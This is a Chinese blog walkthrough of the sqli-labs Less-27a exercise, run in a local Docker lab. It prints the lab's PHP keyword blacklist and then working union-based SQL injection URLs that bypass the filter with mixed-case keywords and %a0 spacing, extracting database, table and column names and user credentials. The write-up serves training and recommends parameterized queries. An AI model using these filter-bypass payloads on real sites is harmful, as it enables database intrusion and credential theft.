目 录CONTENT

文章目录

sqli-labs系列——Less-27a

CZ
CZ
2023-06-30 / 0 评论 / 3 点赞 / 480 阅读 / 5778 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2024-04-24,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

摘要

在这个实验中,我们继续学习了sqli-labs中的一个题目,即Less-27a。通过分析源代码,我们发现了一个名为blacklist的PHP函数,用于对传入的$id字符串进行过滤处理,以提高安全性。该函数使用正则表达式和preg_replace函数来替换字符串中的特定字符和关键字,例如/*、--、#、空格以及各种大小写形式的select和union。尽管这种简单的字符替换方法可以一定程度上防止SQL注入攻击,但仍存在绕过的可能性。 在实验过程中,我们通过联合注入的方式判断了注入点、显示位、库名、表名和列名,并最终成功获取了用户表中的用户名和密码数据。 然而,这种简单的过滤方法并不是最安全可靠的解决方案。为了避免安全问题,建议使用更现代的安全编程技术,如参数化查询或使用安全的数据库访问层来防止SQL注入攻击。这些技术可以有效地防止攻击者绕过过滤规则,并提供更可靠的安全保护。

前言

这几天有点事,好几天没更新sqli-labs的题目了,今天继续开始我们的学习,Less-27a肯定跟我们的27题类似,至于是什么类似,根据以往的做题经验,我觉得过滤方式应该没什么变化,可能这题主要考我们注入方式。

分析源码


function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out Select
return $id;
}

gpt分析

这段代码是一个 PHP 函数,名为 `blacklist`,用于对传入的 `$id` 字符串进行过滤处理。函数使用了正则表达式和 `preg_replace` 函数来替换字符串中的特定字符和关键字,以提高安全性。
具体分析如下:
1. 第2行到第5行:使用正则表达式 `/[\/\*]/`、`/--/`、`/[#]/` 和 `/[ +]/` 分别匹配字符串中的 `/*`、`--`、`#` 和空格,并将其替换为空字符串,即删除这些字符。
2. 第6行到第11行:使用正则表达式 `/select/m`、`/union/s`、`/select/s`、`/UNION/s`、`/SELECT/s`、`/Union/s` 和 `/Select/s` 分别匹配字符串中的 `select`、`union`、`select`、`UNION`、`SELECT`、`Union` 和 `Select`,并将其替换为空字符串,即删除这些关键字。这里的 `/m` 和 `/s` 分别表示多行模式和单行模式。
3. 最后,将处理后的 `$id` 字符串返回。
该函数的目的是过滤掉 `$id` 字符串中的一些特殊字符和关键字,以避免潜在的安全问题,如 SQL 注入。然而,这种简单的字符替换方法并不能完全保证安全,因为攻击者可以使用各种绕过技巧来绕过这种简单的过滤。建议使用更加全面和可靠的安全编程技术,如参数化查询或使用安全的数据库访问层来防止 SQL 注入攻击。

大概意思就是该过滤的都过滤了,包括union,select首字母大写也被过滤,不过依旧可以通过随意组合大小写进行绕过

实验环节

前期准备

由于还是要用空格字符替换空格,本题还是使用kali部署的sqli-labs

su -  root
docker run -d --name sqli-labs -p 80:80 -p 13306:3306 --rm acgpiano/sqli-labs    #为了不占用系统资源,这条命令在每次虚拟机关机后会自动清除进程,所以每次开机后都要运行这条命令

浏览器访问Less-27a地址

http://192.168.199.129/Less-27a

image-1688107586521

分析注入方式

#id=1,id=2页面动态显示用户对应的数据,所以这题可以使用联合注入
http://192.168.199.129/Less-27a/?id=1
http://192.168.199.129/Less-27a/?id=2

image-1688107828934 image-1688107806261

判断注入点

#id=1" and "1页面正常,id=1" and "0页面空内容
http://192.168.199.129/Less-27a/?id=1" and "1
http://192.168.199.129/Less-27a/?id=1" and "0

image-1688107972997 image-1688107987703

判断显示位

http://192.168.199.129/Less-27a/?id=0" uNion%a0selEct%a01,2,3%a0and"1

image-1688108161441

判断库名

http://192.168.199.129/Less-27a/?id=0"%a0unioN%a0selecT%a01,database(),3%a0or"1"="1

image-1688109833041

判断表名

http://192.168.199.129/Less-27a/?id=0"%a0uNion%a0selEcT%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0and%a0"1"="1

image-1688110008965

判断列名

http://192.168.199.129/Less-27a/?id=0"%a0uNion%a0selEct%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0and%a0table_schema=database()%a0and%a0"1"="1

image-1688110130990

判断数据

http://192.168.199.129/Less-27a/?id=0"%a0uNion%a0selEct%a01,group_concat(username,password),3%a0from%a0users%a0where%a0"1"="1

image-1688110214032

3

评论区